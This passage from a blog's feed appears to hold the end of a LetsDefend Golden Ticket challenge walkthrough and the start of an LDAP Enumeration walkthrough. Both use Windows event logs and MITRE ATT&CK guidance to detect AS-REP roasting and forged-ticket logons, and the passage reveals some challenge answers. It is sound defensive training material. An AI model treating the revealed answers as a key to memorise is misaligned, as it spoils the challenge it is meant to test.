Logon&lt;/em&gt;). You can access filtering options by pressing the filter button on the &lt;em&gt;Event Log Explorer&lt;/em&gt; toolbar, then entering &lt;code&gt;4624&lt;/code&gt; into the &lt;em&gt;Event ID(s)&lt;/em&gt; field.&lt;/p&gt;&#xA;&lt;p&gt;Since we&amp;rsquo;re specifically searching for a service account login, we might guess that the account name contains the string &lt;code&gt;service&lt;/code&gt;. Add a custom parameter in the &lt;em&gt;description params&lt;/em&gt; tab: select &lt;em&gt;new logon\account name&lt;/em&gt;, set the operator to &lt;em&gt;contains&lt;/em&gt;, and the value to &lt;code&gt;service&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/d3e7878719b967356a5e8f8acbe6ec64_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Filtering successful login events containing the Account Name &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;service&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Once we apply the filter, our event list becomes much more manageable. Because this investigation is in the context of a remotely accessed service account, we further whittle down results by discarding interactive (&lt;em&gt;type 2&lt;/em&gt;) logons and searching for network logons (&lt;em&gt;type 3&lt;/em&gt;) which is common with accessing services over the network.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/497a79b8bc35fe2a3b46e4111ce17bec_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying the first successful login for SQLService&lt;/p&gt;&#xA;&lt;p&gt;This will lead us to stumble upon the key logon event above. In the &lt;em&gt;Account Name&lt;/em&gt; field, we&amp;rsquo;ll find a &lt;code&gt;4624&lt;/code&gt; network logon for the service account &lt;code&gt;SQLService&lt;/code&gt;. That gives us the likely answer to &lt;strong&gt;Questions 1 &amp;amp; 2&lt;/strong&gt;. Even better, &lt;code&gt;4624&lt;/code&gt; events include &lt;em&gt;Network Information&lt;/em&gt; fields such as &lt;code&gt;Source Network Address&lt;/code&gt; and &lt;code&gt;Source Port&lt;/code&gt;, which reveal where and how the logon originated. Those fields will provide the answer to &lt;strong&gt;Question 3&lt;/strong&gt; — nice!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;523px&#34; data-flex-grow=&#34;217&#34; height=&#34;367&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/0512c52d14097df3449ae3d2c7bce5c4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-4-5&#34;&gt;Questions 4 &amp;amp; 5:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;before-that-the-same-attacker-tried-to-perform-an-as-rep-attack-what-user-account-did-the-attacker-target-during-this-kerberosattack&#34;&gt;Before that the same attacker tried to perform an AS-REP attack. What user account did the attacker target during this Kerberos attack?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;when-did-the-attacker-request-that-tgt-ticket-to-perform-the-as-repattack&#34;&gt;When did the attacker request that TGT ticket to perform the AS-REP attack?&#xA;&lt;/h4&gt;&lt;p&gt;Now that we&amp;rsquo;ve established some baseline timestamps and uncovered indicators of attack, we&amp;rsquo;ll turn our attention to the attacker&amp;rsquo;s earlier technique — &lt;strong&gt;AS-REP Roasting&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Before we blindly pour through the logs, let&amp;rsquo;s turn to the &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; entry for this tactic for context: &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1558/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Steal or Forge Kerberos Tickets: AS-REP Roasting&lt;/em&gt;&lt;/a&gt; &lt;em&gt;(T1558.004)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110/002&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Password Cracking&lt;/a&gt; Kerberos messages. For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Think back to the &lt;em&gt;Kerberos&lt;/em&gt; diagram we reviewed earlier. The &lt;em&gt;AS-REQ&lt;/em&gt; and &lt;em&gt;AS-REP&lt;/em&gt; are the first steps in the &lt;em&gt;Kerberos&lt;/em&gt; authentication flow. &lt;em&gt;AS-REP&lt;/em&gt; roasting is possible in an &lt;em&gt;Active Directory&lt;/em&gt; domain when an account has &lt;em&gt;pre-authentication&lt;/em&gt; &lt;strong&gt;disabled&lt;/strong&gt;. With pre-authentication &lt;strong&gt;enabled&lt;/strong&gt;, the user&amp;rsquo;s &lt;em&gt;AS-REQ&lt;/em&gt; includes a timestamp encrypted with the hash of their password and the DC must decrypt it before issuing an &lt;em&gt;AS-REP&lt;/em&gt; containing a &lt;code&gt;TGT&lt;/code&gt;. When an account doesn&amp;rsquo;t require this pre-authentication, attackers can just send an &lt;em&gt;AS-REQ,&lt;/em&gt; snag the &lt;em&gt;AS-REP,&lt;/em&gt; and then brute-force the encrypted data offline to expose credentials. Not good!&lt;/p&gt;&#xA;&lt;p&gt;So, what does this mean for our investigation? Another useful resource in &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; is the detection strategy for these attacks. It recommends hunting for:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Detects AS-REP roasting attempts by monitoring for Kerberos AS-REQ/AS-REP authentication patterns where preauthentication is disabled (&lt;strong&gt;Event ID 4768&lt;/strong&gt; with &lt;strong&gt;Pre-Auth Type 0&lt;/strong&gt;). Correlates these requests with subsequent service ticket activity (&lt;strong&gt;Event ID 4769&lt;/strong&gt;) and anomalies such as requests using weak RC4 encryption &lt;strong&gt;(etype 0x17&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s put this into action in &lt;strong&gt;Event Log Explorer&lt;/strong&gt; and search for:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;TGT requests&lt;/strong&gt;: Event ID &lt;code&gt;4768&lt;/code&gt; with &lt;code&gt;PreAuthType = 0&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Service ticket activity&lt;/strong&gt;: Event ID &lt;code&gt;4769&lt;/code&gt; where &lt;code&gt;TicketEncryptionType = 0x17&lt;/code&gt; to spot legacy RC4 usage&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;141&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/4db5b5ba26cfb3246280121350e435e5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Filtering for AS-REP roasting targets&lt;/p&gt;&#xA;&lt;p&gt;Bingo! When you apply these filters, you&amp;rsquo;ll find exactly one matching hit: a single &lt;code&gt;4768&lt;/code&gt; event that matches the detection conditions. That event contains what we need to answer &lt;strong&gt;Questions 4 &amp;amp; 5&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;339px&#34; data-flex-grow=&#34;141&#34; height=&#34;565&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/6132e2d22ceaa130a1e363ec45b77136_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Stumbling across a matching event log&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;777px&#34; data-flex-grow=&#34;323&#34; height=&#34;247&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/fb3f0f261ebdcda16df958f6ef787be4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-6-7&#34;&gt;Questions 6 &amp;amp; 7:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;after-gaining-access-to-the-domain-controller-the-attacker-attempted-to-generate-a-golden-ticket-to-impersonate-a-dc-user-what-was-the-targetaccount&#34;&gt;After gaining access to the Domain Controller, the attacker attempted to generate a Golden Ticket to impersonate a DC user. What was the target account?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;at-what-time-did-the-attacker-try-to-log-in-using-the-goldenticket&#34;&gt;At what time did the attacker try to log in using the Golden Ticket?&#xA;&lt;/h4&gt;&lt;p&gt;On to the last two questions! We&amp;rsquo;re looking for another successful login event that might indicate attempted use of a &lt;strong&gt;Golden Ticket&lt;/strong&gt;, impersonating another user in the domain. Since the question tells us we&amp;rsquo;re looking &lt;strong&gt;after&lt;/strong&gt; the attacker gained access to the domain controller, let&amp;rsquo;s apply some focused filtering in &lt;em&gt;Event Log Explorer&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Filter Event IDs:&lt;/strong&gt; &lt;code&gt;4624&lt;/code&gt; (&lt;em&gt;Successful Logon&lt;/em&gt;) and &lt;code&gt;4768&lt;/code&gt; (&lt;em&gt;TGT requests&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Time window:&lt;/strong&gt; Events on the day of the attack &lt;em&gt;after&lt;/em&gt; the event we found in &lt;strong&gt;Question 5&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Exclude previously identified accounts:&lt;/strong&gt; Filter out &lt;code&gt;Corrado&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Exclude computer accounts:&lt;/strong&gt; Remove &lt;code&gt;SOPRANOS-DC$&lt;/code&gt; to focus only on user accounts&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;258px&#34; data-flex-grow=&#34;107&#34; height=&#34;579&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/9255e42bad5d7ce0c683de3f31f9b20b_MD5.png&#34; width=&#34;623&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Applying filters to reduce the noise&lt;/p&gt;&#xA;&lt;p&gt;With these filters applied, we&amp;rsquo;ll identify activity for the &lt;code&gt;Administrator&lt;/code&gt; account — a juicy target for an attacker looking for the keys to the kingdom. Let&amp;rsquo;s focus on this account now.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;335px&#34; data-flex-grow=&#34;139&#34; height=&#34;572&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/a4fdd6d38176bcec4a96ad3711e32450_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying an Administrator user in the event logs&lt;/p&gt;&#xA;&lt;p&gt;To correlate associated &lt;code&gt;Administrator&lt;/code&gt; activity, expand the filtered event set to include &lt;code&gt;4768&lt;/code&gt;, &lt;code&gt;4769&lt;/code&gt;, &lt;code&gt;4624&lt;/code&gt;, and &lt;code&gt;4625&lt;/code&gt; (&lt;em&gt;logon failure&lt;/em&gt;), add &lt;code&gt;Administrator&lt;/code&gt; to the &lt;em&gt;Text in description&lt;/em&gt; field, and clear any description parameters we used earlier so we don&amp;rsquo;t suppress relevant fields.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;257px&#34; data-flex-grow=&#34;107&#34; height=&#34;643&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/063c722330a859f9d0c486291a8a9b53_MD5.png&#34; width=&#34;690&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Filtering for Administrator activity&lt;/p&gt;&#xA;&lt;p&gt;From the results, something looks odd. Between &lt;strong&gt;5:04:23 PM&lt;/strong&gt; and &lt;strong&gt;5:41:28 PM&lt;/strong&gt;, we discover dozens of &lt;code&gt;4769&lt;/code&gt; (service ticket request) events, a couple of &lt;code&gt;4768&lt;/code&gt; (TGT) events, and several &lt;code&gt;4625&lt;/code&gt; logon failures for &lt;code&gt;Administrator&lt;/code&gt;. In other words, this looks suspiciously like testing or enumeration noise from the attacker.&lt;/p&gt;&#xA;&lt;p&gt;Then we hit what really tips us off: at &lt;strong&gt;5:57:03 PM&lt;/strong&gt; there&amp;rsquo;s a clean sequence that ends in a successful logon: &lt;code&gt;4768&lt;/code&gt; → &lt;code&gt;4769&lt;/code&gt; → &lt;code&gt;**4624**&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;496px&#34; data-flex-grow=&#34;206&#34; height=&#34;387&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/d5bbbd5494650019893c902947fb51d9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying a suspicious logon event sequence&lt;/p&gt;&#xA;&lt;p&gt;This &lt;code&gt;4624&lt;/code&gt; is &lt;strong&gt;Logon Type 2&lt;/strong&gt; (&lt;em&gt;interactive&lt;/em&gt;). That isn&amp;rsquo;t the usual &lt;strong&gt;network&lt;/strong&gt; pattern we often see with &lt;strong&gt;Golden Ticket&lt;/strong&gt; use (&lt;em&gt;typically surfaces as Logon Type 3 on a target server&lt;/em&gt;), but it differs from the earlier &lt;strong&gt;Type 7&lt;/strong&gt; unlocks we observed for this account and lands right after the suspicious &lt;code&gt;4769&lt;/code&gt;/&lt;code&gt;4625&lt;/code&gt; activity. That contrast is enough to treat it as a strong lead.&lt;/p&gt;&#xA;&lt;p&gt;Since we&amp;rsquo;re absent any other clues indicating a &lt;em&gt;Golden Ticket&lt;/em&gt; like a &lt;code&gt;Logon GUID&lt;/code&gt; of &lt;code&gt;{00000000-0000-0000-0000-000000000000}&lt;/code&gt;, odd ticket options, or a missing preceding &lt;code&gt;TGT&lt;/code&gt; request, we&amp;rsquo;ll treat this as an educated guess: the &lt;code&gt;Administrator&lt;/code&gt; logon at &lt;code&gt;5:57:03 PM&lt;/code&gt; is the most likely moment the attacker successfully authenticated using forged credentials, following the enumeration we observed.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s not perfect evidence, but the timing, the switch to &lt;em&gt;Logon Type 2&lt;/em&gt;, and the &lt;code&gt;4769&lt;/code&gt;/&lt;code&gt;4625&lt;/code&gt; pattern make it the best option to prove our case. Let&amp;rsquo;s see if we&amp;rsquo;ve got it right!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;771px&#34; data-flex-grow=&#34;321&#34; height=&#34;249&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/616cc2b8309b22d6b45ac2b2bda43d69_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;506px&#34; data-flex-grow=&#34;211&#34; height=&#34;379&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/27414b62436d49bf80ed21f3024e455f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that! A huge thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for dropping these awesome classic Active Directory attack challenges.&lt;/p&gt;&#xA;&lt;p&gt;This one was a great chance to revisit Kerberos fundamentals and sharpen our incident response skills. Instead of juggling multiple artifacts, we focused on a single source, the Windows Security Event Log, and used &lt;em&gt;Event Log Explorer&lt;/em&gt; to piece together what went down. Along the way, we uncovered an &lt;em&gt;AS-REP&lt;/em&gt; roasting attempt, correlated suspicious ticket activity, and stumbled on a &lt;em&gt;Golden Ticket&lt;/em&gt; use. It&amp;rsquo;s a reminder that even with limited data, careful filtering and enrichment from &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; can help tie up the loose ends.&lt;/p&gt;&#xA;&lt;p&gt;I chose this challenge to brush up on my Windows incident response skills and refresh on Kerberos, classic Active Directory attacks, and misconfiguration pitfalls like missing pre-authentication. In a cloud-native world, it&amp;rsquo;s easy to forget that these techniques like enumeration, ticket forging, and lateral movement are still widely used in real-world attacks. Knowing how to spot them is extremely handy for any blue teamer. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/golden-ticket&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/golden-ticket&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Event Log Explorer:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://eventlogxp.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://eventlogxp.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Microsoft Learn — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Kerberos Network Authentication Service (V5) Synopsis&amp;quot;&#xA;:** &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Steal or Forge Kerberos Tickets: Golden Ticket (T1558.001):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1558/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1558/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Steal or Forge Kerberos Tickets: AS-REP Roasting (T1558.004):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1558/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1558/004/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Microsoft Learn — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;4768(S, F): A Kerberos authentication ticket (TGT) was requested&amp;quot;&#xA;**: &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Microsoft Learn — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;4769(S, F): A Kerberos service ticket was requested&amp;quot;&#xA;:** &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Microsoft Learn — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;4624(S): An account was successfully logged on&amp;quot;&#xA;:** &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — LDAP Enumeration Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/</link>
            <pubDate>Mon, 12 Jan 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — LDAP Enumeration Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--ldap-enumeration-challenge-walkthrough&#34;&gt;LetsDefend — LDAP Enumeration Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-suspicious-network-enumeration-using-event-log-explorer-and-eric-zimmermans-tools&#34;&gt;Investigating Suspicious Network Enumeration Using Event Log Explorer and Eric Zimmerman&amp;rsquo;s Tools.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;296&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/ldap-enumeration&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/ldap-enumeration&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog while looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/ldap-enumeration&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LDAP Enumeration&lt;/strong&gt;&lt;/a&gt; blue team challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place.&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A network has been breached, and an alert was triggered indicating suspicious network enumeration activities from IP 192.168.110.129. Initial indicators suggest an attacker inside the network is actively probing systems and gathering information about critical assets. You are tasked with tracing the attacker&amp;rsquo;s movements to determine the source of the anomaly, understand how the attacker gained access, and assess what actions they might have taken inside the network.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;For this challenge, we&amp;rsquo;re putting on our incident response hats. Suspicious network enumeration and discovery activities have been identified coming from a single workstation. We&amp;rsquo;re handed a zip file containing Windows artifacts from the affected device and tasked with piecing together what happened and what tool triggered the alert.&lt;/p&gt;&#xA;&lt;p&gt;This scenario will have us pivoting between tools to deep dive into a variety of forensic artifacts as we build a timeline of the attack and uncover which tools were used or abused. To do this, we&amp;rsquo;ll crack open our toolboxes and leverage a mix of &lt;strong&gt;Eric Zimmerman&amp;rsquo;s forensic tools&lt;/strong&gt;, &lt;strong&gt;Event Log Explorer&lt;/strong&gt;, and &lt;strong&gt;VirusTotal&lt;/strong&gt; to analyze the evidence.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ll walk through each step clearly, and by the end, you&amp;rsquo;ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;questions-1-2&#34;&gt;Questions 1 &amp;amp; 2:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;the-investigator-needs-to-determine-when-the-attacker-first-accessed-the-system-based-on-the-login-records-when-did-the-first-successful-login-from-the-malicious-ipoccur&#34;&gt;The investigator needs to determine when the attacker first accessed the system. Based on the login records, when did the first successful login from the malicious IP occur?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-port-number-used-for-the-previouslogin&#34;&gt;What is the port number used for the previous login?&#xA;&lt;/h4&gt;&lt;p&gt;Let&amp;rsquo;s kick off this investigation and figure out what&amp;rsquo;s causing this suspicious network enumeration.&lt;/p&gt;&#xA;&lt;p&gt;First, extract &lt;code&gt;LDAP-Enum.7z&lt;/code&gt; from the &lt;code&gt;ChallengeFile&lt;/code&gt; folder. This leaves us with a folder named &lt;code&gt;C&lt;/code&gt;, which contains various artifacts from a Windows system that 